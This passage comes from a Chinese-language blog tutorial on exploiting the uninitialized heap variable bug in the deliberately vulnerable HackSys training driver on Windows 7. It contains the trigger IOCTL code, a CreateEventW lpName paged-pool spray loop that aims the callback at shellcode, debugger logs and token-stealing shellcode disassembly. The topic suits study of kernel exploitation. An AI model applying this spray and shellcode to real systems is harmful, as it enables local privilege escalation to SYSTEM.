return 0;
}

这里我们打印的信息如下,如我们所愿,并没有异常发生

1
2
3
4
5
6
7
8
9
10
11
12
13
3: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x9A7FFF10
[+] UserValue: 0xBAD0B0B0
[+] UninitializedHeapVariable Address: 0x97EF4AB8
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0xBAD0B0B0
[+] UninitializedHeapVariable->Callback: 0x8D6A3D58
[+] Uninitialized Heap Variable Object Callback
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******

我们尝试传入不同的值观察是否有异常发生

1
2
3
4
5
6
7
8
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0+1;

DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}

我们在调用运行效果如下,这里被异常处理所接受,这里我们Callback有一个值,我们查看之后发现是一个无效地址,我们希望的当然是指向我们的shellcode,所以就需要想办法构造了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x9A03C430
[+] UserValue: 0xBAD0B0B1
[+] UninitializedHeapVariable Address: 0x8E99BAB8
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0x00000000
[+] UninitializedHeapVariable->Callback: 0xDD1CB39C
Breakpoint 0 hit
8d6a3e83 ff5004 call dword ptr [eax+4]
0: kd> dd 0xDD1CB39C
dd1cb39c ???????? ???????? ???????? ????????
dd1cb3ac ???????? ???????? ???????? ????????
dd1cb3bc ???????? ???????? ???????? ????????
dd1cb3cc ???????? ???????? ???????? ????????
dd1cb3dc ???????? ???????? ???????? ????????
dd1cb3ec ???????? ???????? ???????? ????????
dd1cb3fc ???????? ???????? ???????? ????????
dd1cb40c ???????? ???????? ???????? ????????

构造堆结构

现在我们已经有了思路,还是把Callback指向shellcode,既然上一篇类似的问题能够栈喷射,那这里我们自然想到了堆喷射,回想我们在池溢出里堆喷射所用的函数CreateEventA,这里我们多研究一下这个函数,要知道我们这里是分页池而不是非分页池,如果你用池溢出那一段申请很多Event对象的代码的话,是看不到一个Event对象存在分页池里面的(并且会蓝屏),但是函数中的lpName这个参数就比较神奇了,它是分配在分页池里面的,并且是我们可以操控的

1
2
3
4
5
6
HANDLE CreateEventA(
LPSECURITY_ATTRIBUTES lpEventAttributes,
BOOL bManualReset,
BOOL bInitialState,
LPCSTR lpName
);

为了更好的理解这里的利用,让我们复习一下 Windows 7 下的Lookaside Lists快表结构,并且我们知道最大块大小是0x20,最多有256个块(前置知识来自Tarjei Mandt的Kernel Pool Exploitation on Windows 7文章),这里要清楚的是我们是在修改快表的结构,因为申请池一开始是调用的快表,如果快表不合适才会去调用空表(ListHeads)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
typedef struct _GENERAL_LOOKASIDE_POOL 
{
union{
/*0x000*/ union _SLIST_HEADER ListHead;
/*0x000*/ struct _SINGLE_LIST_ENTRY SingleListHead;
};
/*0x008*/ UINT16 Depth;
/*0x00A*/ UINT16 MaximumDepth;
/*0x00C*/ ULONG32 TotalAllocates;
union{
/*0x010*/ ULONG32 AllocateMisses;
/*0x010*/ ULONG32 AllocateHits;
};
/*0x014*/ ULONG32 TotalFrees;
union{
/*0x018*/ ULONG32 FreeMisses;
/*0x018*/ ULONG32 FreeHits;
};
/*0x01C*/ enum _POOL_TYPE Type;
/*0x020*/ ULONG32 Tag;
/*0x024*/ ULONG32 Size;
union{
/*0x028*/ PVOID AllocateEx;
/*0x028*/ PVOID Allocate;
};
union{
/*0x02C*/ PVOID FreeEx;
/*0x02C*/ PVOIDFree;
};
/*0x030*/ struct _LIST_ENTRY ListEntry;
/*0x038*/ ULONG32 LastTotalAllocates;
union{
/*0x03C*/ ULONG32 LastAllocateMisses;
/*0x03C*/ ULONG32 LastAllocateHits;
};
/*0x040*/ ULONG32 Future [2];
} GENERAL_LOOKASIDE_POOL, *PGENERAL_LOOKASIDE_POOL;

我们还需要知道的是,我们申请的每一个结构中的lpName还不能一样,不然两个池在后面就相当于一个在运作,又因为pool size为0xf0,加上header就是0xf8,所以我们这里考虑将lpName大小设为0xf0,因为源码中我们的堆结构如下:

1
2
3
4
5
typedef struct _UNINITIALIZED_HEAP_VARIABLE {
ULONG_PTR Value;
FunctionPointer Callback;
ULONG_PTR Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;

我们可以确定回调函数在 +0x4 的位置,放入我们的shellcode之后我们在利用循环中的 i 设置不同的 lpname 就行啦

1
2
3
4
5
6
7
8
9
for (int i = 0; i < 256; i++)
{
*(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode;
*(PDWORD)(lpName + 0xf0 - 4) = 0;
*(PDWORD)(lpName + 0xf0 - 3) = 0;
*(PDWORD)(lpName + 0xf0 - 2) = 0;
*(PDWORD)(lpName + 0xf0 - 1) = i;
Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, lpName);
}

最后我们整合一下代码就可以提权了,总结一下步骤

  • 初始化句柄等结构
  • 构造 lpName 结构
  • 调用CreateEventW进行喷射
  • 调用TriggerUninitializedHeapVariable函数触发漏洞
  • 调用cmd提权

提权的过程中你可以参考下面几个地方查看相应的位置是否正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x909FE380
[+] UserValue: 0xBAD0B0B1
[+] UninitializedHeapVariable Address: 0x97E80AB8
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0x00000000
[+] UninitializedHeapVariable->Callback: 0x00371040
Breakpoint 0 hit
8d6a3e83 ff5004 call dword ptr [eax+4]
1: kd> !pool 0x909FE380 // 查看池布局
unable to get nt!ExpHeapBackedPoolEnabledState
Pool page 909fe380 region is Paged pool
909fe000 size: 1e0 previous size: 0 (Free) AlSe
909fe1e0 size: 28 previous size: 1e0 (Allocated) MmSm
909fe208 size: 80 previous size: 28 (Free) NtFU
909fe288 size: 18 previous size: 80 (Allocated) Ntf0
909fe2a0 size: 18 previous size: 18 (Free) CMVI
909fe2b8 size: a8 previous size: 18 (Allocated) CIcr
909fe360 size: 18 previous size: a8 (Allocated) PfFK
*909fe378 size: f8 previous size: 18 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
909fe470 size: 1d8 previous size: f8 (Allocated) FMfn
909fe648 size: 4d0 previous size: 1d8 (Allocated) CIcr
909feb18 size: 4e8 previous size: 4d0 (Allocated) CIcr
1: kd> dd 909fe470-8 // 查看下一个池
909fe468 41414141 000e0000 063b021f 6e664d46
909fe478 01d0f204 00000000 0000032e 00000000
909fe488 909fe488 00000000 00000000 87ac918c
909fe498 00000000 00000000 00018000 00000040
909fe4a8 00000001 0160015e 909fe4e8 002e002e
909fe4b8 909fe4e8 00000000 00000000 00000000
909fe4c8 00000000 00000000 00000000 00000000
909fe4d8 00000000 00000000 00000000 00000002
1: kd> u 0x00371040 // 查看shellcode位置是否正确
00371040 53 push ebx
00371041 56 push esi
00371042 57 push edi
00371043 60 pushad
00371044 64a124010000 mov eax,dword ptr fs:[00000124h]
0037104a 8b4050 mov eax,dword ptr [eax+50h]
0037104d 8bc8 mov ecx,eax
0037104f ba04000000 mov edx,4

提权效果如下,详细的代码参考这里

test

0x10:后记

本系列文章首发于先知社区,为了方便自己查阅,这篇是我重新整理之后的文章

参考链接

  1. https://rootkits.xyz/blog/2018/04/kernel-use-after-free/

  2. https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-1/

  3. https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf

  4. https://www.cnblogs.com/kuangke/p/5818839.html

  5. https://www.cnblogs.com/flycat-2016/p/5449738.html

  6. https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/